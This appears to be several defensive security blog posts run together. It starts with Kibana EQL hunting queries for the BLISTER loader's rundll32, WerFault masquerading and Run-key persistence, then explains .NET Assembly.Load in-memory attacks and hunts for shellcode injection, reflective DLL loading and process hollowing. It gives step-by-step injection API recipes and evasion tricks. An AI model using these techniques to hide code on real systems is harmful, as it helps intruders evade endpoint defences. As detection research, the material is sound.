These queries can be used in Kibana's Security -\> Timelines -\> Create new timeline -\> Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.

Proxy Execution via Renamed Rundll32

Hunt for renamed instances of rundll32.exe

process where event.action == "start" and
process.name != null and
(process.pe.original_file_name == "RUNDLL32.EXE" and not process.name : "RUNDLL32.EXE")

Masquerading as WerFault

Hunt for potential rogue instances of WerFault.exe (Windows Errors Reporting) in an attempt to masquerade as a legitimate system process that is often excluded from behavior-based detection as a known frequent false positive:

process where event.action == "start" and
  process.executable :
   ("?:\\Windows\\Syswow64\\WerFault.exe" ,"?:\\Windows\\System32\\WerFault.exe") and
   /*
     legit WerFault will have more than one argument in process.command_line
   */
  process.args_count == 1

Persistence via Registry Run Keys / Startup Folder

Malware creates a new run key for persistence:

registry where registry.data.strings != null and
 registry.path : (
  /* Machine Hive */      "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*",
"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*",  "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*",

 /* Users Hive */
"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*",
"HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*"
     )

Suspicious Startup Shell Folder Modification

Modify the default Startup value in the registry via COM (dllhost.exe) and then write a shortcut file for persistence in the new modified Startup folder:

sequence by host.id with maxspan=1m
 [registry where
  /* Modify User default Startup Folder */
  registry.path : (
     "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Common Startup",
     "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Common Startup",
     "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Startup",
     "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup"
     ) ]
  /* Write File to Modified Startup Folder */
    [file where event.type : ("creation", "change") and file.path : "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*"]

Elastic Detection Engine Rules

The following existing public detection rules can also be used to detect some of the employed techniques:

Potential Windows Error Manager Masquerading

Windows Defender Exclusions Added via PowerShell

Startup or Run Key Registry Modification

Shortcut File Written or Modified for Persistence

Suspicious Startup Shell Folder Modification

MITRE ATT&CK

T1218.011 - Signed Binary Proxy Execution: Rundll32

T1055 - Process Injection

T1547.001 - Registry Run Keys / Startup Folder

T1036 - Masquerading

Summary

The BLISTER loader has several tricks which has allowed it to fly under the radar of the security community for months. This includes leveraging valid code signing certificates, infecting legitimate libraries to fool machine learning models, and executing payloads in-memory. However, the depth of protection offered with Elastic Security meant we were still able to identify and stop in-the-wild attacks.

Existing Elastic Security can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free 14-day trial of Elastic Cloud.

Indicators

| | |

In past blog posts, we shared our approach to hunting for traditional in-memory attacks along with in-depth analysis of many injection techniques. As a follow up to my DerbyCon presentation, this post will investigate an emerging trend of adversaries using .NET-based in-memory techniques to evade detection. I’ll discuss both eventing (real-time) and on-demand based detection strategies of these .NET techniques. At Endgame, we understand that these differing approaches to detection and prevention are complimentary, and together result in the most robust defense against in-memory attacks.

The .NET Allure

Using .NET in-memory techniques, or even standard .NET applications, are attractive to adversaries for several reasons. First and foremost, the .NET framework comes pre-installed in all Windows versions. This is important as it enables the attackers’ malware to have maximum compatibility across victims. Next, the .NET PE metadata format itself is fairly complicated. Due to resource constraints, many endpoint security vendors have limited insight into the managed (.NET) structures of these applications beyond what is shared with vanilla, unmanaged (not .NET) applications. In other words, most AVs and security products don’t defend well against malicious .NET code and adversaries know it. Finally, the .NET framework has built-in functionality to dynamically load memory-only modules through the Assembly.Load(byte[]) function (and its various overloads). This function allows attackers to easily craft crypters/loaders, keep their payloads off disk, and even bypass application whitelisting solutions like Device Guard. This post focuses on the Assembly.Load function due to the robust set of attacker capabilities it supports.

.NET Attacker Techniques

Adversaries leveraging .NET in-memory techniques is not completely new. However, in the last six months, there has been a noticeable uptick in tradecraft, which I’ll briefly discuss to illustrate the danger. For instance, in 2014, DEEP PANDA, a threat group suspected of operating out of China, was observed using the multi-stage MadHatter implant which is written in .NET. More interestingly, this implant exists only in memory after a multi stage Assembly.Load bootstrapping process that begins with PowerShell. PowerShell can directly call .NET methods, and the Assembly.Load function being no exception. It is as easy as calling [System.Reflection.Assembly]::Load($bin). More recently, the OilRig APT Group used a packed .NET malware sample known as ISMInjector to evade signature based detection. During the unpacking routine, the sample uses the Assembly.Load function to access the embedded next stage malware known as ISMAgent.

A third example, more familiar to red teams, is ReflectivePick by Justin Warner and Lee Christensen. ReflectivePick allows PowerShell Empire to inject and bootstrap PowerShell into any running process. It leverages the Assembly.Load() method to load their PowerShell runner DLL without dropping it to disk. The image below shows the relevant source code of their tool.

It is important to point out that Assembly.Load, being a core function of the .NET framework, is often used in legitimate programs. This includes built-in Microsoft applications, which has led to an interesting string of defense evasion and application whitelisting bypasses. For example, Matt Graeber discovered a Device Guard bypass that targets a race condition to hijack legitimate calls to Assembly.Load, allowing an attacker to execute any unsigned .NET code on a Device Guard protected host. Because of the difficulty in fixing such a technique, Microsoft currently has decided not to service this issue, leaving attackers a convenient “forever-day exploit” against hosts that are hardened with application whitelisting.

Casey Smith also has published a ton of research bypassing application whitelisting solutions. A number of these techniques, at their core, target signed Microsoft applications that call the Assembly.Load method with attacker-supplied code. One example is MSBuild, which comes pre-installed on Windows and allows attackers to execute unsigned .NET code inside a legitimate and signed Microsoft process. These techniques are not JUST useful to attackers who are targeting application whitelisting protected environments. Since they allow attacker code to be loaded into legitimate signed processes in an unconventional manner, most anti-virus and EDR products are blind to the attacker activity and can be bypassed.

Finally, James Forshaw developed the DotNetToJScript technique. At its heart, this technique leverages the BinaryFormatter deserialization method to load a .NET application using only JScript. Interestingly enough, the technique under the hood will make a call to the Assembly.Load method. DotNetToJscript opened the door for many new clever techniques for executing unsigned .NET code in a stealthy manner. For example, James demonstrated how to combine DotNetToJScript with com hijacking and Casey’s squiblydoo technique to inject code into protected processes. In another example, Casey weaponized DotNetToJScript in universal.js to execute arbitrary shellcode or PowerShell commands.

The number of Microsoft-signed applications that be can be abused to execute attacker code in a stealthy manner is dizzying. Fortunately, the community has been quick to document and track them publically in a number of places. One good reference is Oddvar Moe’s UltimateAppLockerByPassList, and another is Microsoft’s own reference.

Detecting .NET Attacks

As these examples illustrate, attackers are leveraging .NET in various ways to defeat and evade endpoint detection. Now, let’s explore two approaches to detecting these attacks: on-demand and real-time-based techniques.

On-demand detection

On-demand detection leverages snapshots in time-type data collection. You don’t need a persistent agent running and collecting data when the attack takes place, but you do need the malicious code running during the hunt/collection time. The trick is to focus on high-value data that can capture actor-agnostic techniques, and has a high signal-to-noise ratio. One example is the Get-InjectedThread script for detecting traditional unmanaged in-memory injection techniques. To demonstrate detecting .NET malware usage of the Assembly.Load function, I leverage PowerShell Empire by Will Schroeder and others. Empire allows you to inject an agent into any process by remotely bootstrapping PowerShell. As you see below, after injection calc.exe has loaded the PowerShell core library System.Management.Automation.ni.dll.

This fact alone can be interesting, but a surprisingly large number of legitimate applications load PowerShell. Combining this with process network activity and looking for outliers across all your data may give you better mileage. Upon deeper inspection, we see something even more interesting. As shown below, memory section 0x2710000 contains a full .NET module (PE header present). The characteristics of the memory region are a bit unusual. The type is MEM_MAPPED, although there is no associated file mapping object (Note the “Use” field is empty in ProcessHacker). Lastly, the region has a protection of PAGE_READWRITE, which surprisingly is not executable. These memory characteristics are a side effect of loading a memory-only module with the Assembly.Load(byte[]) method.

To automate this type of hunt, I wrote a PowerShell function called Get-ClrReflection which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire.

Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a “-f” switch. Below is an example from Empire.

Eventing-based detection

Eventing-based detecting is great because you won’t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released ClrGuard. ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire’s psinject function can be immediately detected and blocked in real-time as shown in the image below.

In a similar manner, OilRig’s ISMInjector can be quickly detected and blocked.

Another example below shows ClrGuard in action against Casey Smith’s universal.js tool.

While we don’t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon.

Conclusion

It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques.

Attacker Techniques

Before I address memory hunting methods to detect adversaries in your network, it is helpful to understand the common forms of memory resident malware. These techniques include shellcode injection, reflective DLL injection, memory module, process and module hollowing, and Gargoyle (ROP/APC).

SHELLCODE INJECTION

Shellcode injection is the most basic in-memory technique and has also been around the longest. The basic ‘recipe’ for shellcode injection is a four step process. These steps are: 1) open a target process (OpenProcess); 2) allocate a chunk of memory in the process (VirtualAllocEx); 3) write the shellcode payload to the newly allocated section (WriteProcessMemory); and 4) create a new thread in the remote process to execute the shellcode (CreateRemoteThread). The venerable Poison Ivy malware uses this technique, which is a big reason why so many APT groups were drawn to it over the years.

If you pull up a Poison Ivy samplewith x64dbg and set a breakpoint on VirtualAllocEx, you will soon locate the chunk of code responsible for the injection.

In the first image, the push 40 instruction preceding the call to VirtualAllocEx corresponds to page access protection value of PAGE_EXECUTE_READWRITE. In the following screenshot from ProcessHacker of the memory layout of a Poison Ivy implant, you can see it allocates a number of these RWX sections.

Typical code sections are of type ‘Image’ and map to a file on disk. However, these are type ‘Private’ and do not map to a file on disk. They are therefore referred to as unbacked executable sections or floating code. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity. ProcessHacker can also show you the call stack of the malware threads. There are multiple functions in the call stack which do not map to memory associated with loaded modules.

REFLECTIVE DLL INJECTION

Reflective DLL injection, originally developed by Steven Fewer, is another type of in memory attacker technique. Metasploit’s Meterperter payload was one of the first attempts to fully weaponize the technique, but many malware families use it today. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window’s loader. The injection process is identical to shellcode injection, except the shellcode is replaced with a self-mapping DLL. The self-mapping component added to the DLL is responsible for resolving import addresses, fixing relocations, and calling the DllMain function. Attackers benefit from the ability to code in higher level languages like C/C++ instead of assembly.

Classic reflective DLL injection, such as that used by Meterpreter, is easy for hunters to find. It leaves large RWX memory sections in the process, even when the meterpreter session is closed. The start of these unbacked executable memory sections contain the full MZ/PE header, as shown in the images below. However, keep in mind that other reflective DLL implementations could wipe the headers and fix the memory leak.

The DLLs loaded in memory also conveniently export a self-describing function called ReflectiveLoader().

MEMORY MODULE

Memory module is another memory resident attacker technique. It is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. Essentially, the memory module loader re-implements the LoadLibrary function, but it works on a buffer in memory instead of a file on disk. The original implementation was designed for mapping in the current process, but updated techniques can map the module into remote processes. Most implementations respect the section permissions of the target DLL and avoid the noisy RWX approach.

NetTraveler is one malware family that uses a memory module style technique. When NetTraveler starts, it unpacks the core functionality and maps it into memory. The page permissions more closely resemble a legitimate DLL, however the memory regions are still private as opposed to image.

The active threads have start addresses at these private regions. The callstack also reveals these malicious sections.

Winnti is yet another malware sample that uses the Memory Module technique. They had a minor slip on the section permissions of the first page, as you can see below.

However, the Winnti sample was notable because the MZ/PE headers in the DLL were erased, making it more difficult to detect.

PROCESS HOLLOWING

Process hollowing is another technique attackers use to prevent their malware from being detected by security products and hunters. It involves creating a suspended process, unmapping (hollowing) the original executable from the process, allocating and writing a new payload to the process, redirecting the execution of the original thread to the new payload with SetThreadContext, and finally calling ResumeThread to complete. More stealthy variants use Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry point with a jump instead of using SetThreadContext.

DarkComet is one of many malware families that use process hollowing techniques. Several artifacts can be used to detect process hollowing. One dead giveaway for this activity is a process being spawned with the CREATE_SUSPENDED flag, as shown in the following screenshot from a DarkComet sample.

MODULE OVERWRITING

So far, all techniques discussed have led to the execution of non-image backed code, and were therefore fairly straightforward to detect. Module overwriting, on the other hand, avoids this requirement, making it much more difficult to detect. This technique consists of mapping an unused module into a target process and then overwriting the module with its own payload. Flame was the first widely publicized malware family to use this technique. More recently, Careto and Odinaff malware families have used module overwriting techniques. Various techniques can be used to reliably detect module overwriting, which involves comparing memory to associated data on disk.

GARGOYLE

Gargoyle is a proof of concept technique for memory resident malware that can evade detection from many security products. It accomplishes this feat by laying dormant with read-only page protections. It then periodically wakes up, using an asynchronous procedure call, and executes a ROP chain to mark its payload as executable before jumping to it. After the payload finishes executing, Gargoyle again masks its page permissions and goes back to sleep. One way to detect this attacker technique is to examine threads and user APCs for evidence of ROP chains.

Detecting In-Memory Attacks

Given the proliferation and accessibility of these techniques, security personnel must be vigilant for memory-based attacker techniques and proactively hunt for them on their networks. However, most products cannot generically detect in-memory attacks at scale, leaving defenders with an enormous gap in their ability to protect against these attacks. Endgame has done significant research to bring low-noise detection capabilities into our product for each method mentioned above.

Given the immense size and impact of this detection gap, it is important to raise all boats, not just those of our customers. For this reason, we collaborated with Jared Atkinson on his powershell tool called Get-InjectedThreads, which implements a relatively low-noise method of detecting in memory threats. It scans active threads on the system for suspicious start addresses. Hunters leverage it to scan hosts in their networks and quickly identify many memory resident malware techniques. The script works by querying each active thread with the NtQueryInformationThread function to retrieve its start address. The start address is then queried with the VirtualQueryEx function to determine the associated section properties. If the memory region where the thread started is unbacked and executable (i.e. not image type and has execute bit set), then the thread is considered injected. The following screenshot shows a sample detection when run on a system infected with a 9002 RAT sample.

The script will catch a variety of malware families leveraging the shellcode injection, reflective DLL, memory module, and some process hollowing techniques. However, it is no replacement for security products that comprehensively prevent in-memory attacks, such as Endgame.

Enterprise In-Memory Detection at Scale

Endgame has built detections for each of these techniques (and many more) into our enterprise security platform, offering best in market capabilities to locate in-memory threats. We do not simply rely on naïve approaches like monitoring well-known system call sequences for process injection, but efficiently analyze memory to find all known evasion capabilities. This provides our users with thread-level visibility on injected code, as well as sophisticated follow-on actions like examining the injected code and suspending only a malicious injected thread to remediate the threat. Our platform is effective both in stopping injection as it is happening in real time as well as locating already resident adversaries hiding in memory, locating threats across tens of thousands of hosts in seconds.

Like any signatureless detection technique, false positives (FPs) are an important consideration. As we researched and implemented our technique-based preventions for each adversary technique described above, we initially encountered FPs at every step of the way. Handling these correctly in our product is of paramount importance.

Most FPs are related to security software, Just-In-Time (JIT) compiled code, or DRM protected/packed applications. Security products sometimes inject code to some or all processes on the system to enhance their behavioral detection capabilities. The downside is if the product is sloppy in its methods, it can actually harm the security of the system and make hunting for real in memory threats more difficult. JIT code, another potential area for false positives, generates assembly code at runtime which lives in unbacked or floating memory regions. .NET or Java applications are a couple of examples which use JIT techniques. Fortunately, this type of code is easier to identify and filter than rogue security products. Lastly, applications packed or protected with Digital Rights Management (DRM) schemes should be kept in mind. These applications may decrypt or deobfuscate their core functionality in memory to deter debugging and reverse engineering. However, the same techniques are used by malware to evade detection and deter analysis from security practitioners.

Through careful design decisions and extensive testing, we have managed to achieve very low false positive rates, allowing Endgame users to root out in-memory threats rapidly.

Conclusion

Adversaries will continue to innovate new techniques to avoid detection and accomplish their objectives. Memory resident techniques are no exception, and have been a thorn in the side of endpoint security defenders for over a decade. Fortunately, by understanding the latest techniques, we can turn the tables and use this knowledge to develop new high fidelity detection methods. At Endgame, our comprehensive approach to these attacks have led us to a market leading position for fileless attack detection (adding to our other key technologies). For more on hunting for in-memory attacks, check out our slides from our SANS Threat Hunting and IR Summit presentation.